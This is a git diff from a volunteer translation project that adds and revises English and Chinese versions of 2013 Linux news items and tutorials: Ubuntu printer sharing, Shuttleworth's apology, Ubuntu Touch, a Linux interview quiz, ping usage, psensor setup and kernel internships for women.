Next, select the ‘Sharing’ tab and check the ‘Share this printer’ box to share the printer. Remember the shared name because you’ll connect using that shared name.
|
||||
|
||||
|
||||
|
||||
Finally, open the commands prompt as administrator and run the commands below to enable file and printer sharing through the firewall.
|
||||
|
||||
netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
|
||||
|
||||
Next, logon to Ubuntu and select the **gear** on the panel at the top right and select System **Settings…**
|
||||
|
||||
When System Settings opens, select Printers. The add a printer. When prompted to select a device, choose ‘ **Windows Printer via SAMBA**’.
|
||||
|
||||
|
||||
|
||||
Enter the Windows computer IP address or hostname followed by the printer shared name. You may also have to enter your windows account credentials (username and password). Click Browse to verify that you can see the printer and when you’re done, click Forward to continue.
|
||||
|
||||
Next, select the printer brand and model. If you don’t see the particular model, choose the next closest to it and continue.
|
||||
|
||||
|
||||
|
||||
If everything is done correctly, you should have a printer installed and ready to use.
|
||||
|
||||
|
||||
|
||||
Enjoy!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-windows-printers/
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -1,30 +0,0 @@
|
||||
Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes
|
||||
================================================================================
|
||||
**Mark Shuttleworth, the founder of Canonical, has clarified his “Tea Party” comments and apologized for this rather personal remark.**
|
||||
|
||||
|
||||
|
||||
It's not every day that we see Mark Shuttleworth apologizing two times in a row, and most likely this is the first time that it happened.
|
||||
|
||||
[The first apology][1] came for the owner of fixubuntu.com, who was the recipient of a letter from the legal team of Canonical. Micah F. Lee, the guy behind the site, wrote an extensive blog post about these issues and the matter was discussed at length on a numerous forums and websites.
|
||||
|
||||
Mark Shuttleworth first apologized to him on Google+, but he also wrote a more formal text on his personal blog, which is usually reserved for things of great importance.
|
||||
|
||||
And since he was apologizing, he also took the time to say that he regretted [the “Tea Party”][2] comments that attracted a lot of heat towards Canonical, probably even more so than the original problems he was mad about.
|
||||
|
||||
“On another, more personal note, I made a mistake myself when I used the label ‘open source tea party’ to refer to the vocal non-technical critics of work that Canonical does. That was unnecessary and quite possibly equally offensive to members of the real Tea Party (hi there!) and the people with vocal non-technical criticism of work that Canonical does (hello there!).”
|
||||
|
||||
“There isn’t anything in what I said to suggest that I don’t welcome such technical feedback, but some assumed I was rejecting all feedback including technical commentary. I was not – I was talking about criticism of software which does not centre on the software itself, but rather on some combination of the motivations of the people who wrote it, or the particular free software license under which it is published, or the policies of the company, or the nationality of the company behind it,” said Mark Shuttleworth.
|
||||
|
||||
This will hopefully end all the discussions on the matter and people will finally be able to work together on Mir, which is actually the source of this whole debacle.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819.shtml
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Apologizes-for-the-Trademark-Infringement-Letter-Sent-to-Fixubuntu-com-398583.shtml
|
||||
[2]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml
|
||||
@ -0,0 +1,26 @@
|
||||
New Ubuntu 14.04 LTS Icon Theme Uses Origami Concept
|
||||
================================================================================
|
||||
|
||||
|
||||
**Ubuntu 14.04 LTS has a good chance of getting a new icon theme, but there's one very interesting concept integrated in the design, and that is an origami motif.**
|
||||
|
||||
When designers begin to make original artwork for operating systems, they usually start from scratch or they integrate the current trend in their work. Ubuntu designers have managed to produce something unique, that doesn’t follow the overall trend, and which is inspired by art.
|
||||
|
||||
In the Ubuntu 14.04 icon theme presentation showed during the Ubuntu Developer Summit, visual designer James Matthieu explained that they used an origami concept to illustrate various components.
|
||||
|
||||
“The default file shape represent a sheet of paper using the origami effect to maintain consistency with the style of some of the application icon,” [said][1] James Matthieu during the presentation.
|
||||
|
||||
This is not the first time that a folded corner is used for folders or files, but if you look close enough the folding mark of the “paper” is also present in the final form.
|
||||
|
||||
We hope that the new icon theme will make it because it looks awesome. You can see more details about the new icon in [our original report][2].
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/New-Ubuntu-14-04-LTS-Icon-Theme-Uses-Origami-Concept-403061.shtml
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.youtube.com/watch?v=0AEvSIX41lk&feature=share
|
||||
[2]:http://news.softpedia.com/news/Ubuntu-14-04-LTS-to-Get-Stunning-Icon-Theme-and-They-re-Not-Flat-402712.shtml
|
||||
@ -0,0 +1,48 @@
|
||||
‘Household Brands’ Interested In Ubuntu for Phones and Tablets, Says Shuttleworth
|
||||
================================================================================
|
||||
|
||||
|
||||
**Mark Shuttleworth has said that an ‘interesting set of household brands’ are looking at putting Ubuntu Touch on their own phones and tablets.**
|
||||
|
||||
The Ubuntu founder was speaking in the [keynote address][1] at the Ubuntu Developer Summit which kicked off this week.
|
||||
|
||||
No specific names, details or dates were offered up alongside the tantalising tidbit, though Mark did hint at one point that he expects Ubuntu Touch devices to be available to buy within the next couple of years.
|
||||
|
||||
### Ubuntu Tablets = Renewed Opportunity ###
|
||||
|
||||
[As mentioned by Jono Bacon recently][2], honing the Ubuntu Tablet experience will be the ‘key focus’ of the Ubuntu 14.04 development cycle. This was touched upon by Shuttleworth in response to a question on whether Ubuntu plan to make dual-booting Touch with Android easier (they are):
|
||||
|
||||
> “I’m excited about the tablet form-factor because I think it’s going to be a lot easier for people to enjoy Ubuntu on a tablet [because] doing it on a phone full time is a bit of a deep-device commitment – [though] we’ve heard some interesting reports of government departments using it because we don’t work for the NSA!”
|
||||
|
||||
Other notable points mentioned in the keynote included:
|
||||
|
||||
- Helping developers tailor Ubuntu Touch apps for the desktop
|
||||
- Stable, dependable and performant desktop experience based on Unity 7
|
||||
- Point releases of Ubuntu 14.04 LTS won’t be introducing Mir or Unity 8
|
||||
- Ubuntu on ARM x64
|
||||
- Sidestage to be re-introduced to tablet
|
||||
- Supporting Android apps on Ubuntu ‘is a goal – but not a focus’ right now
|
||||
|
||||
> ‘Shuttleworth must be hoping that some of those interested household names make a firm commitment soon…’
|
||||
|
||||
This latter point appears to represent an about-turn, if true. Earlier in the year Canonical’s Richard Collins [told Engadget][1] that there were no plans to “engineer middleware for running Android apps [on Ubuntu Touch]“.
|
||||
|
||||
Android apps or not, Shuttleworth must be hoping that some of those interested household names make a firm commitment soon. The longer the gap the more ground competitors are gaining.
|
||||
|
||||
Samsung and Intel’s open-source mobile OS ‘Tizen’ [recently gained the backing of a further 36 companies][4], including an array of mobile networks, electronics bigwigs and game publishers.
|
||||
|
||||
Elsewhere, Mozilla’s Firefox OS continues to grow its users, OEM and carrier base; while [Jolla’s first Sailfish OS-powered handset ships later this month][5]. And although Ubuntu Touch isn’t aiming for the low-end segment, Android 4.4 debuted with a number of performance optimisations when used on hardware with limited resources.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/11/household-brands-ubuntu-phone-tablets
|
||||
|
||||
译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.youtube.com/watch?v=D4kHQeu4SJk
|
||||
[2]:http://www.omgubuntu.co.uk/2013/11/ubuntu-tablet-will-key-focus-ubuntu-14-04-lts-cycle
|
||||
[3]:http://www.engadget.com/2013/01/25/canonical-richard-collins-interview/
|
||||
[4]:http://www.theverge.com/2013/11/12/5093588/tizen-open-operating-system-partners-with-36-companies
|
||||
[5]:http://www.theregister.co.uk/2013/11/15/jolla_phones_to_ship_in_november/
|
||||
97
translated/11 Basic Linux Interview Questions and Answers.md
Normal file
97
translated/11 Basic Linux Interview Questions and Answers.md
Normal file
@ -0,0 +1,97 @@
|
||||
11个基础性Linux问答访谈
|
||||
================================================================================
|
||||
没有理论，我们在此高调宣布Tecmint新的板块诞生，专门致力于Linux。我们将带领你走进"Linux访谈"以及Linux其它的方方面面。在这样一个激烈竞争的世界，对于一个行业来说，此举必不可少。
|
||||
|
||||
|
||||
|
||||
该板块 (**Linux 访谈**) 每个周末都会发表新的文章。**Tecmint**开创的这个访谈栏目在所有致力于linux发展的网站中尚属首创，文章独有，质量上乘。
|
||||
|
||||
我们以**基础Linux访谈**开始，逐步引入涉及高级话题的文章，对此，我们非常期待你的答复，因为这将使我们万众瞩目。
|
||||
|
||||
#### Q.1: Linux 操作系统的核心是什么? ####
|
||||
- Shell
|
||||
- Kernel
|
||||
- Command
|
||||
- Script
|
||||
- Terminal
|
||||
|
||||
> **答**: 内核是Linux 操作系统的核心。Shell是一个命令行解释器，命令是针对计算机的指令，脚本是存储在文件中的命令的集合，终端是命令行接口。
|
||||
|
||||
#### Q.2: Linus Torvalds 都创建过什么东东? ####
|
||||
- Fedora
|
||||
- Slackware
|
||||
- Debian
|
||||
- Gentoo
|
||||
- Linux
|
||||
|
||||
> **答**: Linux Torvalds 创建了Linux，Linux是所有上述操作系统的核心，同样也是其他一些Linux 操作系统的核心。
|
||||
|
||||
#### Q.3: Torvalds, 使用C++语言编写了Linux内核的大部分代码，你同意吗? ####
|
||||
|
||||
> **答**: 不! Linux内核包含了12,020,528行代码，其中注释占去了2,151,595 行。因此剩下的9,868,933 行就是纯代码了。而其中7,896,318行都是用C语言写的。
|
||||
|
||||
剩下的1,972,615行则是使用C++，汇编，Perl, Shell Script, Python, Bash Script, HTML, awk, yacc, lex, sed等。
|
||||
|
||||
**注**：代码行数每天都在变动，平均每天超过3,509行代码被添加到内核。
|
||||
|
||||
#### Q.4: 起初，Linux 是为 Intel X86 架构编写的，但是后来移植到了其它平台上，你同意吗 ?. ####
|
||||
|
||||
> **答**: 是的，我同意。Linux那时候是为x86机器写的，而且现已移至到所有类型的平台。今天超过90%的超级计算机都在使用Linux。Linux在移动手机和平板电脑领域前景广阔。事实上我们被Linux包围着，遥控器，太空科学，研究，网络，台式机。举之不尽。
|
||||
|
||||
### Q.5: 编辑 Linux Kernel 合法吗? ####
|
||||
|
||||
> **答**: 是的，内核基于GPL发布，任何人都可以随意编辑内核，当然得基于GPL。Linux内核起源于免费开源软件（FOSS）的概念。
|
||||
|
||||
#### Q.6: UNIX和Linux操作系统，本质上的不同在哪里？####
|
||||
|
||||
> **答**: Linux操作系统属于开源软件，内核是由 Linus Torvalds 和开源社区共同开发的。你不能说UNIX操作系统不是来源于免费开源软件的范畴，BSD 是基于FOSS 范畴的UNIX 的变种。而且大公司如，Apple，IBM，Oracle，HP等，都在为UNIX内核贡献代码。
|
||||
|
||||
#### Q. 7: 挑出来一个与众不同的来. ####
|
||||
- HP-UX
|
||||
- AIX
|
||||
- OSX
|
||||
- Slackware
|
||||
- Solaris
|
||||
|
||||
> **答** : Slackware 就是那个稀奇古怪的那个. HP-UX, AIX, OSX, Solaris 分别是由 HP, IBM, APPLE, Oracle 开发的，并且都是UNIX的变种. Slackware 则是一个Linux操作系统.
|
||||
>
|
||||
#### Q.8: Linux 不会感染病毒码? ####
|
||||
|
||||
> **答** : 当然会! 这个地球上不存在不会感染病毒的操作系统。但是Linux以病毒数量的稀有而著称，至今，是的，甚至比UNIX还要少。Linux迄今榜上有名的病毒只有60-100个。而如今没有一个病毒在传播蔓延。Unix粗略估计有85-120个。
|
||||
|
||||
#### Q.9: Linux is which kind of Operating System? ####
|
||||
#### Q.9: Linux 属于哪种类型的操作系统? ####
|
||||
- 多用户
|
||||
- 多任务
|
||||
- 多线程
|
||||
- 以上所有
|
||||
- 以上都不是
|
||||
|
||||
> **答** : 以上所有. Linux是一个支持多用户，可以同时运行多个进程执行多个任务的操作系统。
|
||||
|
||||
#### Q.10: 任意 Linux 命令的语法格式: ####
|
||||
- command [选项] [参数]
|
||||
- command 选项 [参数]
|
||||
- command [选项] [参数]
|
||||
- command 选项 参数
|
||||
|
||||
> **答** : Linux 命令的正确语法是, 命令 [选项] [参数].
|
||||
|
||||
#### Q.11: Choose the odd one out. ####
|
||||
#### Q.11: 挑出来一个与众不同的来. ####
|
||||
|
||||
- Vi
|
||||
- vim
|
||||
- cd
|
||||
- nano
|
||||
|
||||
> **答** : cd 与其他命令不同。Vi，vim和 nano都是编辑器，用于编辑文档，而cd是用于切换目录的命令。
|
||||
|
||||
就这么多了。上述问题你学到手几个？效果如何？我们期待着你的评论。下周，会有新的问题，让我们拭目以待。保持健康，协调，记得链接**Tecmint**哦。
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/basic-linux-interview-questions-and-answers/
|
||||
|
||||
译者：[译者ID](https://github.com/l3b2w1) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -114,6 +114,6 @@ Uname也可以透露你在运行的操作系统.用**-o**参数可以实现这
|
||||
|
||||
via: http://linoxide.com/linux-command/uname-command/
|
||||
|
||||
译者：[Luoxcat](https://github.com/Luoxcat) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
译者：[Luoxcat](https://github.com/Luoxcat) 校对：[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
### 什么是 ping 工具###
|
||||
|
||||
在传授一些关于ping工具真实大观的实例前,先让我来解释一下这个命令行工具及其目的.ping工具通常用来测试一台主机在互联网协议(IP)网络内的连通性.其名字源于主动声纳法,这是用来在水下创建一个脉冲声音(ping)并遇到周围的对象而返回信号.用这个方法是对ping网络工具最通俗易懂的解释.ping工具对一台主机发送回应请求然后等待ICMP响应.
|
||||
在传授一些关于ping工具真实大观的实例前,先让我来介绍一下这个命令行工具及其目的.ping工具通常用来测试一台主机在互联网协议(IP)网络内的可达性.其名字源于主动声纳法——在水下创建一个脉冲声音信号(ping)并侦听周围物体的返回信号.该方法同样生动描述了ping网络工具的工作原理.ping工具对一台主机发送回应请求然后等待ICMP响应.
|
||||
|
||||
用于实践ping工具的一些例子:
|
||||
|
||||
### 查询主机的IP地址 ###
|
||||
|
||||
有时候你需要得到某一台的IP地址,你可以使用ping工具如图一所示.键入ping命令后面跟上要查询的主机名.
|
||||
有时候你需要得到某一台主机的IP地址,如图一.只需要键入ping命令后面跟上要查询的主机名.
|
||||
|
||||
ping www.omgubuntu.com
|
||||
|
||||
@ -22,13 +22,13 @@
|
||||
|
||||
ping -V
|
||||
|
||||
正如你从图二见到的,我正在用ping utility,iputils-sss20101006
|
||||
正如你从图二见到的,我正在使用的是“ping utility,iputils-sss20101006”
|
||||
|
||||
|
||||
|
||||
### 自动退出 ping ###
|
||||
|
||||
当你用‘ping 主机’命令ping一台机器,ping时无法停止必需按CTRL+C强行退出,或者你可以用 -c (count)选项指定发送包的数量.当用-c选项,当网络管理员(无论那个用户)发送了指定数量的包,无需按CTRL+C,ping进程会自动停止.
|
||||
当你用‘ping 主机’命令ping一台机器时，ping自己无法停止，你必需按下CTRL+C强行退出,或者你可以用 -c (count)选项指定发送包的数量.使用-c选项,当网络管理员(其实普通用户也可以)发送完指定数量的包之后,无需按CTRL+C,ping进程就会自动停止.
|
||||
|
||||
ping -c 13 127.0.0.1
|
||||
|
||||
@ -40,7 +40,7 @@
|
||||
|
||||
### 指定数据包之间的时间间隔 ###
|
||||
|
||||
你知道ping每秒钟发送一个数据包吗?你要加快还是减慢呢?用 -i 选项能指定包之间的时间间隔.用下列命令快速发送或慢速发送包.
|
||||
你知道ping每秒钟发送一个数据包吗?你喜欢快一点还是慢一点?用 -i 选项能指定包之间的时间间隔.用下列命令快速发送或慢速发送包.
|
||||
|
||||
### 每0.13秒发送一个包 ###
|
||||
|
||||
@ -56,7 +56,7 @@
|
||||
|
||||
ping -c 13 -i 3
|
||||
|
||||
用39秒发出13个数据包,数据包的时间间隔为三秒.
|
||||
总共花费39秒发出13个数据包,数据包的时间间隔为三秒.
|
||||
|
||||
|
||||
|
||||
@ -64,6 +64,6 @@
|
||||
|
||||
via: http://www.unixmen.com/five-examples-ping-utility/
|
||||
|
||||
译者：[Luoxcat](https://github.com/Luoxcat) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
译者：[Luoxcat](https://github.com/Luoxcat) 校对：[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
@ -1,115 +0,0 @@
|
||||
如何在Linux下监控系统温度
|
||||
|
||||
================================================================================
|
||||
|
||||
在大多数情况下,你无需担心你的电脑温度.除非制造上的缺陷,硬件设计一般不会使其超过最高工作温度.但即使没有任何硬件故障,各种各样的软件问题也会导致硬件过热,例如,显卡驱动的严重bug,风扇控制程序的错误配置,CPU调频守护进程的故障,等等.
|
||||
|
||||
严重的过热可能会对硬件造成永久性的伤害.所以应当时刻小心你系统上的任何过热问题.因此，如果有合适的温度监控系统，能在系统温度突然急速上升时，第一时间向用户发出警报，岂不美哉？
|
||||
|
||||
于是，本教程,我将描述**如何在Linux下监控系统温度**.
|
||||
|
||||
首先，在Linux下有许多用户级工具可以用于检查和监控各种系统组件的温度.
|
||||
|
||||
例如[lm-sensors][1]，它可以从硬件嵌入式传感器获取信息,以达到监测温度、电压、湿度和风扇的作用；
|
||||
还有[hddtemp][2],它可以通过读取[S.M.A.R.T.][3]参数来测量温度；
|
||||
今天我们要介绍的是[psensor][4]，这是一款前端图形化界面温度监测工具，可视化显示CPU、Nvidia/ATI/AMD各家显卡以及硬盘等多个硬件设备的温度。
|
||||
|
||||
接下来，我将描述如何设置psensor来监控CPUs和硬盘的温度.
|
||||
|
||||
### 在Linux 桌面系统中安装 psensor###
|
||||
|
||||
psensor能够可视化显示系统温度，需要基于其他类似lm-sensors和hddtemp等工具得到的数据。因此你需要在安装psensor的同时,一并安装所需工具.
|
||||
|
||||
在Debian或Ubuntu下安装psensor:
|
||||
|
||||
$ sudo apt-get install lm-sensors hddtemp psensor
|
||||
|
||||
在Ubuntu下还可以通过PPA仓库安装最新版本的psensor：
|
||||
|
||||
$ sudo add-apt-repository ppa:jfi/ppa
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install lm-sensors hddtemp psensor
|
||||
|
||||
在Fedora下安装psensor：
|
||||
|
||||
$ sudo yum install lm_sensors hddtemp
|
||||
|
||||
$ sudo yum install gcc gtk3-devel GConf2-devel lm_sensors-devel cppcheck libatasmart-devel libcurl-devel json-c-devel libmicrohttpd-devel help2man libnotify-devel libgtop2-devel make
|
||||
|
||||
$ wget http://wpitchoune.net/psensor/files/psensor-0.8.0.3.tar.gz
|
||||
|
||||
$ tar xvfvz psensor-0.8.0.3.tar.gz
|
||||
|
||||
$ cd psensor-0.8.0.3
|
||||
|
||||
$ ./configure
|
||||
|
||||
$ make
|
||||
|
||||
$ sudo make install
|
||||
|
||||
这里注意，由于必需要有GTK3库的支持,psensor无法与搭载GNOME2桌面的CentOs或RHEL 6兼容.
|
||||
|
||||
### 在Linux中配置 psensor ###
|
||||
|
||||
在启动 psensor之前,你需要先配置lm_sensors和hddtemp.
|
||||
|
||||
#### lm_sensors 配置 ####
|
||||
|
||||
运行以下命令,配置lm_sensors,每一项都选择YES.
|
||||
|
||||
$ sudo sensors-detect
|
||||
|
||||
这个命令将会探查和检测你硬件中嵌入式的传感器(包括CPUs,储存控制器,I/O芯片),然后在你的系统上自动决定那个驱动模块需要被载入检查温度.
|
||||
|
||||
一旦传感器检测完成,你将被要求把检测到的驱动模块添加到/etc配置中,这样它们才可以在开机时自动加载.
|
||||
|
||||
在Debian或Ubuntu下,检测到的驱动模块将会被添加到/et/modules.在Fedora下,驱动信息会添加到/etc/sysconfig/lm_sersors.
|
||||
|
||||
接下来,继续加载必要的模块,如下:
|
||||
|
||||
Ubuntu:
|
||||
|
||||
$ sudo service module-init-tools start
|
||||
|
||||
Debian:
|
||||
|
||||
$ sudo /etc/init.d/kmod start
|
||||
|
||||
Fedora
|
||||
|
||||
$ sudo service lm_sensors start
|
||||
|
||||
#### hddtemp 配置 ####
|
||||
|
||||
你还需要启动hddtemp,让它监控硬盘驱动器的温度.
|
||||
|
||||
运行下列命令,作为一个守护进程启动hddtemp.替代 “/dev/sda” 来监控你系统上的硬盘驱动器.
|
||||
|
||||
$ sudo hddtemp -d /dev/sda
|
||||
|
||||
### 用 psensor 监控系统温度 ###
|
||||
|
||||
开始用psensor监测温度:
|
||||
|
||||
$ psensor
|
||||
|
||||
psensor的窗口将显示一个可用传感器的列表,并可视化从这些传感器中读出的温度.你可以选择性地启用或禁用每个传感器.
|
||||
|
||||
[][5]
|
||||
|
||||
另外,你可以为每个传感器设置警报级别,这样当传感器温度超过某一阈值将会通知你.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://xmodulo.com/2013/11/monitor-system-temperature-linux.html
|
||||
|
||||
译者：[Luoxcat](https://github.com/Luoxcat) 校对：[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://lm-sensors.org/
|
||||
[2]:http://www.guzu.net/linux/hddtemp.php
|
||||
[3]:http://en.wikipedia.org/wiki/S.M.A.R.T.
|
||||
[4]:http://wpitchoune.net/blog/psensor/
|
||||
[5]:http://www.flickr.com/photos/xmodulo/10719475225/
|
||||
@ -0,0 +1,30 @@
|
||||
Mark Shuttleworth后悔“茶党”的言论以及Canonical公司犯的错
|
||||
================================================================================
|
||||
**Mark Shuttleworth, Canonical公司的创始人,澄清了他“茶党”的言论和为个人言论而表示歉意。**
|
||||
|
||||
|
||||
|
||||
我们不是每天能看到Mark Shuttleworth连续道歉两次, 很有可能这是他第一次发生这样的事情了。
|
||||
|
||||
[第一个道歉][1] 来自fixubuntu.com的主人,他是一封来自Canonical公司legal团队的收件人。Micah F. Lee,该网站背后的家伙,写了一篇关于这些问题以及在许多论坛和网站对此事进行了长时间讨论。
|
||||
|
||||
Mark Shuttleworth首先在Google+向他道歉,但是他同样在他的个人博客上写了很多正式文本,这通常是保留了有重要意义的事情。
|
||||
|
||||
既然他道歉了,他同样花了一些时间说他后悔[“茶党”][2]评论招惹了许多对Canonical公司的冲动,可能甚至更是如此超过原来的问题，他是疯了。
|
||||
|
||||
“另一面,个人角度,我自己也犯了一个错误，当我使用标签‘open source tea party’指的是Canonical公司非技术性批评家的声音。这是不必要的并且的确可能一样冒犯真的茶党成员（嗨，这里！）以及人民非技术性工作的批评的声音（hello，这儿！）。”
|
||||
|
||||
“刚才我所说的建议里没有我不欢迎像这种技术反馈的意思，但是一些假定我拒绝了所有的反馈包括技术评论。我没有 – 我谈论软件的批评在软件本身没有中心, 而是一些动机的组合的人写的,或依据它所公布的特定的自由软件许可证,或公司的政策,或公司背后国家的政策,”Mark Shuttleworth说道。
|
||||
|
||||
希望结束在这个事件上的所有的讨论以及人们最终将能够一起在和平号上工作, 实际上是崩溃的根源。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819.shtml
|
||||
|
||||
译者：[Vito](https://github.com/vito-L) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Apologizes-for-the-Trademark-Infringement-Letter-Sent-to-Fixubuntu-com-398583.shtml
|
||||
[2]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml
|
||||
@ -1,34 +1,34 @@
|
||||
延伸项目为Linux内核寻找新的女性实习生
|
||||
向女士延伸项目为Linux内核寻找新的女性实习生
|
||||
===
|
||||
作为[FOSS针对女性的延伸项目][1]，这个夏季工作在Linux基金会的实习生们有着多样的背景和水平也高低不等，但是她们至少有一件事情是相同的（除去她们的性别之外）。她们可以在自己的履历中添加一项“Linux内核工作者”。
|
||||
这个夏季作为[FOSS针对女性的延伸项目][1]的一部分,在Linux基金会工作的实习生们背景不同,水平也高低不等，但是她们至少有一件事情是相同的（除去性别之外）,就是她们可以在自己的履历中添加一项“Linux内核工作者”。
|
||||
|
||||
|
||||
|
||||
*针对女性的延伸项目在对Linux内核3.12的贡献已经名列前茅。来源：LWN.net*
|
||||
|
||||
在Linux基金会资助的第一批每人5000美元薪水的申请人中，Lisa Nguyen, Xenia Ragiadakou, Elena Ufimtseva, Laura Vasilescu 和Tulin Izer是41获得者中的7名女性女性获得者。她们与Intel、Oracle和Citrix的内核开发者一起工作了三个月，解决了包括X86启动协议和XNUMA拓扑在内的项目。她们拿出了奖金中的500美元出席了并在在新奥尔良或者爱丁堡举行的LinuxCon会议上演讲。
|
||||
在Linux基金会资助的第一批每人5000美元薪水的申请人中，Lisa Nguyen, Xenia Ragiadakou, Elena Ufimtseva, Laura Vasilescu 和Tulin Izer是41申请者中的7名女性女性获得者。她们与Intel、Oracle和Citrix的内核开发者一起全职工作了三个月，处理包括x86启动进程和XNUMA拓扑等项目。她们还利用500美元的旅行奖学金,出席在新奥尔良或者爱丁堡举行的LinuxCon会议并做了演讲。
|
||||
|
||||
“我并不是总有机会去说，我在LinuxCon北美会议上做志愿者，在LinuxCon北美会议上发表演讲，而且与Linux Torvalds交流了三天！”Nguyen说，她是一个Linux内核实习生，与Orcale的Konrad Rzeszutek Wilk一起解决Xen虚拟机的时钟驱动问题。
|
||||
“我要说能有我这样的机会并不多哦，在LinuxCon北美会议上做志愿者，在LinuxCon北美会议上发表演讲，而且与Linux Torvalds交流了三天！”Nguyen说，她是一个Linux内核实习生，与Orcale的Konrad Rzeszutek Wilk一起解决Xen block 驱动问题。
|
||||
|
||||
除了学习如何创建和提交内核补丁，这些实习生们通过结交新朋友和同事，克服了她们的恐惧心理，为Linux内核的发展作出了明显的贡献。
|
||||
|
||||
“我不再害怕碰内核代码了”Izer这样说道，她和来自Intel的Peter P. Waskiewicz Jr.一起工作去解决X86的启动进程并行化问题。“这是我第一次对开源项目作出贡献，我以此为自豪。在我的余生，我将接着做下去”。
|
||||
“我不再害怕碰内核代码了”Izer这样说道，她和来自Intel的Peter P. Waskiewicz Jr.一起工作，解决x86的启动进程并行化问题。“这是我第一次对开源项目作出贡献，我以此为自豪。我将接着做下去”。
|
||||
|
||||
###内核贡献着排行榜
|
||||
|
||||
最为一个组织，OPW列出了一个针对Linux3.11内核的贡献排行榜，可参看[在LWN上的权威内核报告][2]。实习生Xenia Ragiadakou给3.11内核贡献了100个补丁，在最活跃的开发者中位列前10。
|
||||
依据[LWN 8月内核报告][2]，作为一个组织，OPW被列为对Linux3.11内核的主要贡献者之一，提交了230个变更，总体位于第13位。其中，实习生Xenia Ragiadakou给3.11内核贡献了100个补丁，在最活跃的开发者中位列前10。
|
||||
|
||||
“我的主要工作就是添加追踪事件，然后写了一个trace-cmd插件以便于把追踪事件写成利于人们阅读的格式以方便于xhci(驱动)的debug，”Ragiadakou说，她和Intel的内核开发者Sarah Sharp一起做这项工作。“我学习了如何使用git，如何使用静态代码分析工具，以及如何发送补丁，如何查看debug日志，usb子系统是如何组成的，xhci驱动又是如何实现的。”
|
||||
“我的主要工作就是添加追踪事件，然后写trace-cmd插件，以便于人们阅读的格式分析这些痕迹，以方便xhci(驱动)找出问题。” ”Ragiadakou说，她和Intel的内核开发者Sarah Sharp一起做这项工作。“我学习了如何使用git，如何使用静态代码分析工具，以及如何发送补丁，如何查看debug日志，usb子系统是如何组成的，xhci驱动又是如何实现的。”
|
||||
|
||||
在内核3.12上，OPW再次排在了贡献最大的团队或公司之中，这次是排行第11行，有19，649行代码的改动，可参看[LWN的在10月份的分析报告][3]。那代表了在过去最新的一次开发周期中接近2.7%的改动量。
|
||||
根据[LWN 10月分析报告][3]，在内核3.12上，OPW再次排在了贡献最大的团队或公司之中，这次是排行第11行，有19，649行代码的改动。那代表了在过去最新的一次开发周期中接近2.7%的改动量。
|
||||
|
||||
在她们的实习计划在9月份结束时，她们中的大多数仍然持续对她们开始做的以及打算继续做的项目继续保持这贡献。
|
||||
在她们的实习计划在9月份结束时，她们中的大多数仍然持续做该项目并打算继续做下去。
|
||||
|
||||
“我认为成为一个内核开发者是一件非常酷的事情，将来，我也要继续做这件事情，”Vasilescu说，她和Intel的Carolyn Wyborny以及 Anjali Singha一起解决igb驱动的ethtool属性。
|
||||
|
||||
